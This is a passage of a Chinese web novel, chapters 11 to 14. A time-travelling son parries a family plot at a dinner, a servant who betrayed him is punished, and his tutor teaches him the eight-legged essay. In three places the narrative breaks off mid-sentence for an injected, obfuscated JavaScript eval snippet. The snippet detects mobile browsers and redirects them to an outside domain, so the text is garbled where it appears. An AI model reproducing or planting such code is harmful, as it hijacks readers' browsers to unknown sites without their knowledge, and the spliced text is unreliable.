段成平今日是另有打算,不想和王虞起争执,此时见有了台阶下,连忙吩咐丫头又往段之缙碗中夹了一些鱼片。 “缙儿喜欢吃便多吃些。”他脸上是关怀的笑,又让其他人也赶紧吃饭。 于是大家挂着假笑推杯换盏,段之纬殷勤地为段成平斟酒,又转向段之缙的空酒杯,澄清的酒液将要落下,就被骨节分明的手挡住。 段之缙朝着他一笑,歉疚道:“三弟,我近日身子不适,还是不饮酒了。”青年创业的时候,段之缙一个酒局一个酒局的挨,喝到胃穿孔,之后事业起来了,能不喝就不喝,最后到了滴酒不沾的程度,如今穿越到了书中,也不想喝酒,况且这也不是什么不得不喝的酒。 段之纬却表现得异常奇怪,原本有些阴沉的脸突然浮现出夸张的了然,拖着恍然大悟的语气,跟唱戏似地回应:“知道知道,二哥磕了头之后,这么多年的书都忘了,恐怕晚上还要回去温书。” 他这一句话,叫还暖着的场子骤然冷下,段成平故作诧异的眼神投射在段之缙身上。 11. 第十一章 试探学问 “缙儿……你弟弟说的都是真的?” 听着老爷的问话,施姨娘已经煞白了一张小脸,王虞心中恨得滴血,这么多年来的心血功亏一篑,今日叫这些畜生看了笑话。 “儿子不知道三弟这是从哪得来的消息。”段之缙神态自若,没有一丝的惊慌。 一个捕猎者,如果看见本应该瑟瑟发抖的猎物镇定自若的时候,就会因为“认知失调”而陷入困惑和不安。段成平实在不是做戏子的材料,段之缙这样商场上的老狐狸,如何看不懂他这吏部十几年员外郎的心思。因此当段之缙故意挑着眉,用戏谑的眼睛扫视这原本胜券在握的父子二人之时,他们的表情出现了一刻的茫然。 “儿子是磕着头了,可不是一个多月前就好了吗?今儿三弟如何这般关心二哥,说些失忆了的话。” 段之纬慌张地看一眼陈姨娘,陈姨娘淡定的点头给了他一些底气。 “二哥,您就别隐瞒了,这个事儿我知道后,也是不可置信,怎么我二哥这样好的人佛祖不保佑,偏偏叫他在考试前把学到的东西都忘了呢?咱们都是一家人,你有困难,父亲难道还能不管儿子吗?弟弟也记挂着你呢。” 段之缙更是一派匪夷所思的表情,“三弟,二哥问的是,你从哪得来的消息,说我把书全都忘了。” 段之纬正犹豫着,段成平把手中的酒杯轻磕在桌子上,发出一声清脆的响,厉声呵道:“够了!亲兄弟,吵闹些什么!缙儿,不管你弟弟是从哪里得来的消息,他也是关心你才问的。你只管说,你是不是把书全忘记了。” “老爷,我若是忘了要如何?” 段之纬有些欣喜地回头看了看陈姨娘,又被瞪着眼催,叫他赶紧说话。 “二哥,若是您忘了,老爷……不对,太太自然要重新给您请先生,把学问先拾起来,循序渐进,就算是十年二十年,总归有下场的一天。” 重新请先生? 段之缙听着他的意思,心下冷笑,用个时髦的话来说,秦先生还是个万人迷呢,上次在书房里折腾了一顿不成,现在又来这一遭。怎么,他自己的先生教不了他?于是难掩脸上的悲痛,“可秦先生教了我足足八年,若是辞了他,日后要如何呢?” 段之纬终于憋不住了,那点儿小心思全然暴露出来,“咱们家自然不能吃这个亏,束脩都是一年一年地交,今年的束脩已经交了,不如叫秦先生来教导弟弟呢?他是有学问的人,若弟弟下场能中,也有二哥的一份功劳不是?” 王虞听到这儿才算知道了这场“鸿门宴”打的哪门子算盘珠子,自己倒了一盏酒一饮而下,冷笑道:“怪不得呢……今天叫我们这些外人来跟你们一家人吃什么团圆饭,感情是算计到我头上来了。秦先生是花我的钱请的先生,要辞了他也得我辞,要如何也要我发话,哪有你们吱声的道理!” 她这话一出,段之纬是晚辈,又是儿子,不能和太太顶嘴,陈姨娘虽然受宠又是有手段的人,但王虞更不是善茬,对上她绝没有占便宜的时候,于是眨巴着泪水盈盈的眼睛看段老爷,又低下头去,肩膀掉下,一副心力交瘁、大失所望的模样。 “妇人之见!纬儿、缙儿,他们哪一个不是你的儿子!日后无论是谁高中了都能叫你风风光光的,何必总把希望放在缙儿身上,纬儿也是孝顺孩子,他今日所思也是为了你这个母亲,你怎么这点儿道理都想不明白?” 王虞斜飞的凤眼里刺出来怨毒的光芒,狠狠扎在段成平身上,“你少拿出来你是男人、是丈夫的架势来压我!我不怕你!告诉你,我认谁,谁才是我的儿子,其他的就是路边的泥,我光见着都嫌脏!” “你!”段成平气得身子乱抖高高举起了手将要掌掴王虞又被施姨娘和段之缙挡在身前。 段之缙一提衣摆跪下,恳求道:“求老爷歇歇气,今日全是儿子惹出来的祸端,拖累着老爷和太太吵架,要杀要剐,请老爷冲着儿子来吧!”语罢,又含着热泪转向段之纬和陈姨娘,泣道:“老爷和太太是父母之尊,姨娘是生我之人,让至亲至重者因我不肖起了争执,已属大不孝,老爷要杀要剐,儿子也只有认的份。不过我还是想知道,三弟是从哪儿得来的消息,说我磕到了头,将习的书全忘了?” “你……二哥,你刚才不是已经承认了吗?”段之纬见矛头又转回他这里,惊得一个寒颤,结结巴巴地出声。 段之缙一脸迷惑,蹙着眉回道:“三弟何出此言,我几时承认了我失忆了。再说哪有失忆只忘了书还记得人的,我从来没朝着你问过‘你是谁’的话吧?” “我……我……”段之纬原本对得到的消息深信不疑,最开始发问,段之缙一脸淡然就已经叫他心里打鼓,如今更是战战兢兢,不住地看向陈姨娘。 陈姨娘粲然一笑,“瞧瞧你们父子兄弟的,闹得乌眼鸡一样,忘没忘的,考考学问不就知道了?何必在此争吵?若是没忘,自然皆大欢喜,若是忘了,咱们也早做打算。” 段之纬听他亲娘一说,有了主心骨一般点头,段成平摆起家主的架势拍了板儿,“好,就这么办!试一试便知道了。” 段之缙没有一点儿的惊慌,一脸胸有成竹,“老爷、姨娘,您二人是缙儿的长辈,缙儿自然是要听从,只是还是那个事,三弟这个消息是从哪儿得的?怎么如此笃定,我一定是把书忘了?” “好了,先试试缙儿的学问,这些事儿之后再说。”段成平出声打断,王虞一声冷哼道:“凭什么便要听……” “太太,叫老爷试一试儿子的学问也无妨。”段之缙回头镇定自若,打住了王虞的话。 “便试一试《春秋》如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14906004|160152||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何?” “全凭父亲做主。” “好!”段成平拢一把自己的山羊胡子,思考一番问道:“论‘郑伯克段于鄢’所示一家之事与一国之政的关系,能否?” 段之缙点点头,又摆出一副为难的样子,“老爷,这儿一桌的酒菜,总不能叫儿子当场撰一篇时文出来吧?儿子大体说一些可否?” 段成平瞧了瞧周围的环境,应了下来。 “郑伯克段于鄢”,郑庄公的事情,段之缙还真知道,也不必先套话了。 他稍作思考,将最近学的四书全都罗织一番,缓缓开口道:“《左传》载‘郑伯克段于鄢’,实为春秋之鉴。一家之伦理与一国之政治紧密关联,可见家族乃国家之基,伦理失序,必致国政动荡。郑庄公之母武姜,偏爱次子共叔段,恶长子庄公,欲废长立幼。此乃家族伦理之失序。《大学》曰:‘齐家而后治国。’家不齐,何以治国?武姜之私爱,种下祸根。郑庄公即位后,武姜为共叔段请封地,庄公许之。然祭仲谏曰:‘都城过百雉,国之害也。’ 庄公不听,还是答应了其母的乱法之请。此乃家族私情与国家制度之冲突。《孟子》云:‘徒法不能以自行。’法度虽在,私情乱之,国何以安。” 讲到此处,他顿了一下,又思考一番接着回道:“共叔段得封后,渐生野心,命西鄙、北鄙贰于己,又收贰为己邑,甚至缮甲兵,欲袭郑。庄公初忍之,曰:‘多行不义,必自毙。’然终不得不出手,伐段于鄢。此乃家族纷争蔓延至国家政治,不可不制。夫家族伦理,乃国家政治之根基。《论语》云:‘孝弟也者,其为仁之本与!’共叔段不弟,庄公失教,母子兄弟相残,此乃不孝不弟之极。家族失序,国家亦难安。《大学》云:‘身修而后家齐,家齐而后国治。’后世治国者,当以孝治家,以德治国,方能长治久安。” 他这一番论述,已经完全超乎了父子二人的预料,两人面面相觑,都是一脸尴尬。 王虞虽听不懂段之缙到底说了些什么,可光瞧那两人的脸色就很明白了,拽着段之缙从地上爬起来,讥讽道:“也不知道我这个好儿子没失忆,有没有人失望了。” “你这是什么意思?”段父闹了今天这么一遭,目的也没有达成,太阳穴一抽一抽的痛,总归是不舒服,王虞尖利的话语声一响起来,他脑子又嗡嗡直鸣。 “从来没有人想要缙儿出事,大家都是关心他才有此问。” “段成平,我不与你争吵,我只问纬儿,你二哥磕着脑袋不习得书的事儿,你的消息怎比我都灵通?可见我这个做母亲的关心儿子,不如你做弟弟的关心兄长。” 段之纬外厉内荏的东西,刚听到段之缙娓娓而谈的时候便已经脸色苍白,现在被嫡母质问更是手足无措。 “太太……我……我……” 12.第十二章 背主之人 “他每日读书学习,准备着县试,哪儿能记得那么多事?也不知道是哪儿听来的风言风语,真是不知所谓。你个不争气的东西,读书赶不上你二哥就算了,太太膝下没有儿子,亲自教养他,你二哥比你强是自然,可你怎么连个话都听不明白,记不住?姨娘知道你敬爱二哥,关心则乱了,只是日后做事三思而后行才是。”陈姨娘半倚着桌子,嗔怪地拍了一下段之纬的背,力气也没有多少,话音刚落下,眼波流转,望到老爷那里去,声音百转千回,“老爷,你瞧瞧你的好儿子,没他二哥半点儿稳重劲儿,很该重重罚他一次。” 段成平哪里舍得罚段之纬?摆出一副严父的姿态,恶声恶气地训斥道:“纬儿,你造作出来的事端!什么时候才能长大,如你二哥一般稳重?为父罚你抄《孝经》,你可有意见?” “儿子认罚。” 高高举起,轻轻放下,一本《孝经》才不到两千字,这也算是惩罚? 段之缙心里暗讽,面上却是感动非常,“三弟如此关心二哥,想必也是十分想要抓住那满嘴胡言的人,二哥想问你几个问题,看看能不能抓到些蛛丝马迹。” “二哥想问什么?” 段之纬心里紧张,陈姨娘瞧这个没成算的儿子,简直想掩面痛哭一番,怎么就叫她这样聪敏非常的女人生下了这样的谬种。 “二哥想问一问,这个消息听见的时候,是在哪个地方?” 段之纬嘴唇翕动,“这……这,弟弟也忘了。” “你二哥我忘了书的事儿你现在都记得,偏偏在哪儿听见的忘了。按理说这么大的消息,当时的情景三弟应当全刻在脑海中才是啊。” “弟弟我是真记不得了,当时也是十分诧异,赶紧回了院子。” 段之缙轻笑:“那就是弟弟偏听偏信,连求证都没有求证一番便拿这个事儿质问于兄长了?” “没……”段之纬磕磕巴巴,将要说话却被陈姨娘打断。 “什么叫质问啊缙儿,这可不是质问,这是弟弟时时刻刻把你放在心上。你三弟做事不妥当,又好大惊小怪的,从小便这样,你做兄长的难道不知道吗?”陈姨娘笑意盈盈地看着段之缙,三言两语就推到了段之缙为兄不友,不关心弟弟 “怎么敢承姨娘的这句话,三弟连真相是何都没有弄清楚便贸然断定我这个做二哥的不能科考了,又惹出了今晚这些乌烟瘴气的事儿,倒是十分友爱兄长呢。” 段成平今天失了面子,已经无力再去管些什么,头又痛得很,只靠在椅子上揉着额角,王虞作壁上观,看陈姨娘吃瘪的样子心里暗讽,其他的孩子大气都不敢出,因而谁也没注意到大妹妹段云熙,也就是段之纬的一母同胞,已经泪水涟涟了。 她终于忍受不住,朝着段之缙抽抽嗒嗒地求道:“二哥,妹妹求你不要再为难姨娘和三哥了,今日全算作是我的错成吗?我把我攒下来的月钱全都给二哥,替三哥赔不是。” 段之缙听着人家小女孩哭哭啼啼,立刻住了口,审视了她一番才蹙眉道:“怎么能算作是你的错?国有国法……” “好了!”原本安静看戏的王虞打断了段之缙的话,正色道:“今天闹了这么长时间,该是闹够了,到此为止。老爷,叫我们都散去吧。” 段成平也是忍受不了,连连挥手叫他们都退下,自己要安静一番。 老爷太太都发了话,大家做出一番客客气气的模样,也都结伴离去。 前边许嬷嬷提着灯,施姨娘伴在夫人身侧,段之缙和沈白蘋夫妻二人坠在后边,小声说起来方才的事。 段之缙向来“人不犯我,我不犯人”,但是若有人故意找麻烦,他也没有一点儿怕的,今天十分功力还没有用出来三分,就被王虞打断,心中总归有些气,于是三步做两步,也走到了王虞的身边。 “太太好良善的心肠,儿子受了刁难也能一笑置之,气量不是我等能想象的。” 施姨娘在旁边听着,两道柳叶眉皱了起来,拽着段之缙的衣袖嗔道:“你怎能如此跟太太说话?快退下去。” 王虞却不动气,瞅了他一眼,无喜无悲,“你也别在这儿说不中听的,去你姨娘身边说说话才是正经事儿,少在我身边儿粘着。等会儿许嬷嬷跟着你去致知斋清理门户,这个消息一定是你院子里伺候的人传出来的,等着抓住这个吃里扒外的畜生,定要好好处置!”许嬷嬷低着头应是,仍是提着灯往前走。 段之缙感受到她语里的狠意,却没有多想,因为此时他还没有真的认识到,他生活的这个世界,已经不是人人平等的世界了。 他所见到的尊卑只是小打小闹的尊卑,掌掴、训斥似乎已经到了头,谁又能说致知斋不是太太为他营造的伊甸园,他只要能安心读书,便能获得一切。 段之缙和施姨娘走在一块儿,这些昏天黑地地读书,总归也还十分地惦念姨娘,这会儿说上话了问个不停。 “姨娘这些日子出门有人跟着吗?” 施姨娘拍拍他的手,叫他放心,“我身边还是有一个小丫头伺候的。再说了,姨娘除了伺候太太,也没有别的事儿,也不用出主院呀。” “还是小心为上,避着些水边,就算万不得已走在水边,也要小心脚下。” 段之缙唠唠叨叨的,施姨娘倒不像他的娘了,反而段之缙像是施姨娘的爹。 姨娘拿帕子捂着嘴笑,“得了得了,比我们这些无事可做的人还能絮叨呢。咱们家除了老爷的望月堂有个小池塘,哪儿还有水呢?我去望月堂,也是跟着太太去的,哪能出什么事儿?” 望月堂? 那个疑问再一次出现在段之缙脑中,为何就是如此的凑巧,偏偏是在临考前,偏偏是一个在水乡长大的人淹死了? 这究竟是意外,还是真的有人在谋算什么? 就这么想着脚下的路已经延伸到了主院的院门口,王虞站定回头看着几个走在一起的人,吩咐道:“施姨娘,跟我一块儿进去吧。许嬷嬷跟着缙儿去致知斋,把我吩咐你的事儿办了。” 段之缙看着姨娘拾步上阶,又望向王虞,“太太,我自己院子里的事儿,还是叫我自己处置吧。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14907279|160152||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“你处置?你要是能处置还弄得出来今天这一遭?你媳妇也是个没用的,下人也管不住……” “太太误会蘋儿了,她如今帮着我读书,也是疲惫不堪。”段之缙瞧王虞瞪着眼又要开始训斥妻子,连忙打断,又招呼着许嬷嬷赶紧走,处置了事情好睡觉去。 片刻后,本应该熄灯沉寂的致知斋里灯火通明,总共十几个下人被聚在正院里,连带着沈白蘋身边的春华、秋实两个小丫头,并上段之缙身边的书童松烟都和大伙站在一起。 其实嫌疑人只有三个,就是贴身伺候的丫头和书童。但叫其他人站在这里,是为了叫他们长个记性。 “今儿二爷被老爷训斥了一顿,连秦先生也差点指配给了三爷。只是有一个事儿奇怪?怎么三爷知道二爷那么多的事情呢?是你们谁背了主,自己站出来!”许嬷嬷身边站着两个结实的家丁,手操大棍,又在地上摆了一条长凳,显然是一副要动刑的模样。 “嬷嬷,不要动私刑逼问,左右没出什么大事儿,抓住了之后赶他出去也就罢了。”段之缙看见这些东西便皱眉,泄密或者说暴露他人隐私这种事儿,现代有民法和刑法处理,但是古代动用私刑的方法,他现下实在不忍心看,于是出言制止。 许嬷嬷俯身应道:“二爷真是活菩萨了,真是这些奴才好命才遇上您这样慈悲的主子,今天这样大的事儿都不计较。二爷放心吧,嬷嬷心里有数,必不会闹大弄出人命来。如今天都黑透了,明儿还要早起读书,二爷跟二奶奶还是先歇息吧,嬷嬷一个人处置好了就回主院。”她语毕,招呼家丁把东西都撤下去,不要吓着人。段之缙看这里也没了“刑具”也就带着沈白蘋回了房,旷大的院子里只剩下下人和许嬷嬷。 可是一转脸,原本和蔼的妇女就变了一个人,苍老的脸上一丝表情都没有。 “二爷是读书人,见不得血腥气,我做奴婢的还是要听主人家的话。既然如此,我也不打你们,不骂你们,你们自己检举揭发,只有两刻钟的时间,若是没有找到那个吃里扒外的东西,我就跟太太禀报,叫人牙子来把你们都发卖了!” 下头的人面面相觑,段宅的主子虽然闹成了一锅粥,但是对下人们还是仁爱的,从来不故意刁难人,若是被卖了出去谁知道以后会遇上什么样的主子?再者这些人中不少是王虞从王家带来的家生子,要是被主人发卖,日后便再也见不到亲爹娘,骨肉分离之痛如何能忍?因而一个个绞尽脑汁地回想,生怕叫别人连累了自己。 春华秋实二人自然是不怕,她们平时都是在二奶奶身边伺候,不是在二奶奶眼皮子底下,就是吩咐其他的丫头小子办事儿,不会叫任何人抓到把柄,也没有任何把柄能抓。 而此时,这个院子里前程最远大的松烟却是战战兢兢,大热的夏天流了一脸的冷汗,在众人里边格格不入。 “嬷嬷,你看松烟!”一个长相伶俐的小丫头突然指着松烟大喊,吓得后者打了个哆嗦,腿一软跪在了地上。 许嬷嬷缓步上前,挂着冷笑拽住松烟的领子,“你瞧瞧你,怎么吓成这样?” 13.第十三章 习学八股 “嬷嬷!嬷嬷!真不是我!”松烟涕泗横流,他是王家的家生子,父母跟着太太到京,在京里才生下了他,从小在主院里长大的,自然知道许嬷嬷的手段,因此不断地磕头解释,“若是我有一分二分背主的心思,就叫我被雷劈死!” 鬼神之事如何取信?也或许是他拿老天起誓合该遭报应,后边一个十四五岁的小伙子眼睛突然一亮,确信自己想起了要紧的事儿,从人群中走出来,凑到了许嬷嬷的耳边说道:“嬷嬷,我记得之前二爷晚上要冰水唤松烟哥,松烟哥不知道去哪了好长时间才回来。” 松烟原本清秀的面貌被磕出来的血污染地狰狞,几近嘶吼道:“我就不能去茅房吗!” “那你怀里丁零当啷的装着什么?”小伙子立刻反问。这么一说,众人也纷纷回忆起了松烟的不对劲,没一会儿许嬷嬷便确定了就是松烟小子把二爷的事情透了出去。 也是,这个事儿只有贴身伺候的人知道,虽然二爷总是出来背书,可他们哪知道这是因为二爷忘光了呢? “嬷嬷……嬷嬷!饶过我这一回吧,我真知错了……”松烟泪流满面,抖着唇不断地祈求,“都是三爷身边的松香来引诱我的,说要是有重要的事儿告诉他,陈姨娘给我五十两银子……” 许嬷嬷冷哼一声,“五十两就把你二爷卖了?太太也给你五十两,买你这一条好舌头!”最后一个字眼儿轻飘飘地落下来,许嬷嬷回头使了一个眼色,两个家丁沉默上前,捂着松烟的嘴将他往外拖,松烟因为恐惧惊慌地蹬着两条腿,拖动出来的痕迹被腥臊的液体浸透。 看着战战兢兢,甚至捂嘴悲泣的小丫头小伙子们,许嬷嬷严正道:“咱们做下人的,主人家也不用咱们豁出命去护着,只是叫你们别随便乱说话。记住了今天松烟的教训,否则下一回可不是割舌头了!刚才那个小丫头,你以后跟着我去太太身边伺候,至于你嘛……”她打量了一番挺着胸膛的小伙,满意地点了点头,问道:“你是后来买进来的,还是太太的家生子?” “回嬷嬷,小子叫王章,爹是王长贵,跟着太太来的京城,在这儿和娘成亲才有了小子。” 许嬷嬷更满意了,拍了拍他的肩膀,“先跟我回主院吧,若是太太也满意,叫你顶了松烟那个小杂种。你们其他人都散了吧,只是得记清楚了,二爷是慈悲人,听不得血腥话。” 第二天早上,段之缙还是寅正时分起来的,天刚透出来些光,迷迷瞪瞪地掀起月影纱床帐子,一个有些眼熟的小伙子就殷勤地为他披上了外袍。 “二爷,今天早上还有些冷呢,先披上外衣,省得着凉。” 段之缙审视的目光在他身上扫来扫去,接过漱口的清水涮涮嘴,吐到了小痰盂里。 “松烟人呢?” 王章捏捏自己的衣角,“松烟……松烟哥被许嬷嬷赶出去了……” 话也不必说得全然透亮,一切都尽在不言中,原来那个把自己卖给段之纬的就是松烟。只是自己平时并没有薄待他,为何要将主子的事情透出去呢? 段之缙疑问道:“松烟为什么这样做?” “松烟哥只说是陈姨娘答应给他五十两银子,他这才……” 段之缙点点头表示知道了,其实也理解得很,《红楼梦》里二十两都够一家人吃用一年了,五十两想必也是一笔巨款。 再想无益,段之缙问明白新来书童的名字,赶紧收拾了一番便去正堂默书,等着秦先生到来。 秦先生断然离不开他的烟斗,用他自己的话来说,“可一日无酒,不可一日无烟”,一进正堂坐定,就到处找松烟,结果段之缙身边跟了个眼生的小子,他一个聘来授书的先生,不好多问,只招招手吩咐道:“书童,过来为我点烟。” 王章走过去,没一会儿正堂里吞云吐雾,“仙气”缭绕,深吸一口好不快活。 秦先生喟叹一声,又瞧瞧偷笑的段之缙,“你还敢笑呢,若不是为了给你授课,先生我一天睡四五个时辰,也就用不着这些东西提神了。”说道此处,他神秘一笑,“你别小瞧了这些烟丝,改明儿为师也给你弄一个,你一用便知。” 段之缙连连摆手,他现在上课拒绝不了二手烟,可是一手烟他是绝对不抽的,到时候顶着一嘴黄牙当了官,简直有损朝廷的体面。“这样的好东西还是先孝敬给先生吧,学生自己能顶住。” 秦先生不以为意,掀开了一本书看一眼,抬头说道:“四书学完了,自己勤加温习,不要撂下爪子就忘。今天先不讲《尚书》,先讲时文怎么写。” “时文,又称八股文,发端两句为破题,而后承题、起讲,起讲后排比对偶,接连而八,故曰八股。总而言之,一篇文章,破题、承题、起讲、入题、起二比、中二比、后二大比、末二小比这八个部分一定要有,且既不能多,也不能少。” “第一步破题,解释题目。此中前辈圣贤,绝不可直指其名,孔子称圣人,尧舜称帝。这破题也有讲究,明破、暗破、顺破、逆破、正破、反破、分破、对破几种破题的方式,要是题目长,诀窍在于简单概括,要是两句搭起来的题目,破题时就要浑融一体。题目宏大你便要冠冕堂皇,题目小巧你就要灵气精妙,不过重点都在于扣住题目的要旨。至于要旨嘛,起承转合,你就算是胡编乱造,也回到朱子的教训上。” “下一步承题。承就是承接,是要扣住你破题的要旨承接下来,但是一定记住,正破用反承,反破用正承,顺破用逆承,逆破用顺承,你要是顺着破的顺着承,逆着破的逆着承,全都完蛋。当然,承题这一步的时候,可称尧舜为尧舜,称孔子为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14909829|160152||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孔子,不必再忌讳些什么了。” “再一步,起讲,开头要用‘意谓’、‘若曰’、‘以为’、‘且夫’、‘尝思’等语,十句上下,起承转合,排语、散行皆可,可排偶比之散句更受考官的爱见。” 段之缙记笔记的手一顿,“先生,为何排偶比之散句更受考官的喜欢?” 秦先生叹一口气,“你以为所有人都是安平县知县那样的考官?你们这些童生的试卷,他每一份都细细看,可其他的考官,乃至府试、院试的许多考官,大多数是大体看看,只要不是异端邪说就行,此种情况,最重要的难道是你写的文章有多么高深吗?其实不然,一篇文章,一打眼看上去,只要字写得好,就过了第一关,然后便是辞藻华丽,文采斐然者为胜。至于至圣先哲的教训,只能说对得上即可,‘为往圣继绝学’之事,到底不比功名利禄动人心啊!”他说完这些话,疲惫地捏了捏鼻梁,感慨一番世风日下,当今天下竟无一个韩昌黎,能够“文起八代之衰”,现在那些所谓的大家,写那么多“美”文章,引得士人也争相效仿,更使文坛一片杂乱文章。 段之缙听着,心渐渐沉了下去。他一个现代人来到这本书里,是靠着嫡母供养,兼之自己也肯下苦功夫才能几十天学完四书,并给经书起了个头。若如那些贫苦的士子,白日里要干农活、抄书,晚上才得挑灯夜战,又没有秦先生这样的老师教导,别妄想能够几个月读完书。 可一个现代人,终究是比不得土生土长的士子,段之缙习写文言文都已经愁得脑袋疼,如何能在华美用句上比过那些同他一样锦衣玉食之人?本来想着,虽说时文每一篇都要写朱子教训,可自己到底是学过政|治课的人,到时候把现代的思想和朱熹的教训融合在一起,未必不能以观点取胜,现在看来,纯属异想天开。 “先生,散句也能写出妙处吧,难道无一人能以散句笔下生花?” “你小子,说的轻巧,排偶本身便对称呼应,于字里行间有古韵律之美,散句轻易难得啊。人家排偶一出,光品读便要比散句更胜一筹。” 原来如此……不过,段之缙还是要问清楚,散句到底是不能得中还是得中的少。 “先生,学生还有一问,往届之中,不写排偶是不能得中,还是得中者较少?” 秦先生细想一番,“不全然写排偶之人,也能够得中,只是较少。县试的阶段你还不用担心,只要你能啃下来这些书,到场上扣住题目,文章辞藻差些也无妨,此任的县令并不十分喜好华美之文,也不是流于表面的肤浅之人。” 此番话却没有如何安慰到段之缙,因为过了县试还有府试,过了府试还有院试,日后想要叫太太得封诰命,非得为一番事业才行,而今过县试都得靠得遇认真负责的主考官,日后又当如何呢? 14.第十四章 夜梦难醒 如今已经十一月十三了,只是今年的雪晚些,还没有下过。 寒冷的西北风夹杂着沙土,打在人脸上如刀割一般,即便是这样的天,偏房的灯还是孤独地亮着,与漆黑夜空中闪亮的盈凸月相伴,一个为刻苦的读书人送来光明,一个为归路上的行人送去清辉。 按理说一日一日地苦熬,书总该是越读越薄,可段之缙翻来覆去,只觉得书愈发厚重,做了无数的时文,总是差点火候在。漂亮的排偶,也不是做不出,典籍史论用得头头是道,再妙的金石珠玉,叫段之缙一堆砌,细细品来还是死东西,用他自己的话说则是“铲子切菜——不地道(抵刀)”。 拿着自己熬夜做出来的八股文递给秦先生,秦先生每日看他写的这些东西也是头疼,“缙儿,不是为师说你,怎么章籍典故没少用,朱子教训也没跑偏,就是……就是……”秦慎之想了半天也想不出什么形容词,最后灵机一动一巴掌拍上脑瓜子,“不像是人写的!” 屏风后忍耐的笑声传出来,真叫段之缙无所适从,“先生,我自己也知道,可是改了无数遍,还不对味儿。先生,学生想听听您的经验之谈,这东西,是勤学苦练能练出来的吗?” 秦慎之抽搭两口烟枪,吐出一圈一圈的白雾,“为师看你的文章,少说也有几十篇了,你知道你最大的问题在哪吗?” “愿听先生之见。” “你根本不适合写排偶。”他面上一片严肃,烟斗点点纸上的散句部分,含着一丝欣赏,“可圈可点。”然后烟斗嫌弃地点了点排偶的部分,表情难以形容,“不堪寓目之作,看得为师都难受。” 段之缙心中发紧,“可是先生,您不是说排偶在科举考试中更占优势吗?” 秦先生被自己的烟呛地咳了几下,哑着嗓子回道:“好酒不怕巷子深,好文章却怕传不出去。为什么那么多雄文被庸碌之词埋住,就是因为阅卷的人有可能连个秀才都不是。你要知道,县官县官,父母之官,每天忙里忙外的那么多事儿,哪有功夫去看你们这些小小生童的卷子?叫底下的师爷看看得了。那些师爷是什么水平?有的水平只够认字,看见这篇文章里的生僻词汇多,他就觉得是好文章。有些人的水平也就是读过了四书五经,连朱子教训有那些都记不清楚,瞧见标新立异之说便惊为天文,读不通你文章里的意思,因此选些看似华美的卷子上去。” 段之缙若有所悟,“那先生的意思是?” 秦先生故作高深地捋了捋胡子,“为师的意思是,既然要投机取巧,那就彻底地抓住这次好时机!安平知县李显光,二甲进士出身,要说秀才不是人人都有真才实学的话,进士可不能弄虚作假了,他为人又清正,视取士为第一等的朝廷要务,全县少则小一百份,多则几百份答卷,他都亲自看,亲自阅,若你能将散句练到浑然天成,他看了之后未必不能替你传出声名,倘若能叫德平府知府和淮宁学政听闻,那便有几分把握让他们特意去找你的卷子看。知府和学政,也都是饱读诗书之人,只要你的题目的确解得好,就算不能名列前茅,也必不会叫你落第。” 原来如此! 段之缙站起深鞠一躬,“学生佩服!那学生日后勤往这个方向攻!” 秦先生瞧他气势十足,没有一点儿畏难的神情,满意点头,“有志者事竟成。以你现在长进的速度,只要能够熬过这段日子,县试必中!只是要小心,行百里者半九十啊。” 一番语重心长的劝告,叫段之缙松快下来的心又绷起来,现在只剩下三个月的时间了,前方路漫漫,不但要把史书全通下来,还有研究知县多年的行政思想和出题偏好,任务实在是艰巨。 “为师想过了,现在已经十一月,运河已经结上了冰,咱们走陆路得一个月才能到安平。再者,读万卷书行万里路,想必从京城到安平的山河景色,也能叫你增长不少的见识。因此今儿授完书,明天也不上课了,去和你的母亲、姨娘和妻子好好道别,若是一切顺利,再回京情景可就大不相同喽。”秦先生眨眨眼睛,语气里是鼓励和暗示。 段之缙心里感激非常,这四个月里不仅自己苦熬着,先生花费的精力并不比自己少,宽严相济,犹如父母,得遇此良师,可以说三生有幸了。 师生二人相互勉励一番,又开始了一天的学习。 等到了晚上,这也是四个月来的头一次,段之缙久违地跟自己的妻子躺在同一张床上,旁边传来陌生的、清浅的呼吸声,一种奇异的情思在慢慢涌动。 并非男女之情,或许是朝夕相处的感激和默契,段之缙已经习惯了早晨或冷或热的干净帕子铺在面上,晚上摆在桌旁的一本笔记,里边每一个簪花小楷全是沈白蘋一日的心血。 她是一个无声地帮助者,可她的确又什么也得不到。 “蘋儿,这四个月若没有你时刻帮着我,还不知道要空耗我多少气力。可是,我竟然也不能回报你什么……你若是有什么要求,或者想做什么事情,尽管开口,我定然竭尽全力。” 沈白蘋的呼吸声一顿,又变得急促起来,她似乎在隐忍,在压抑。 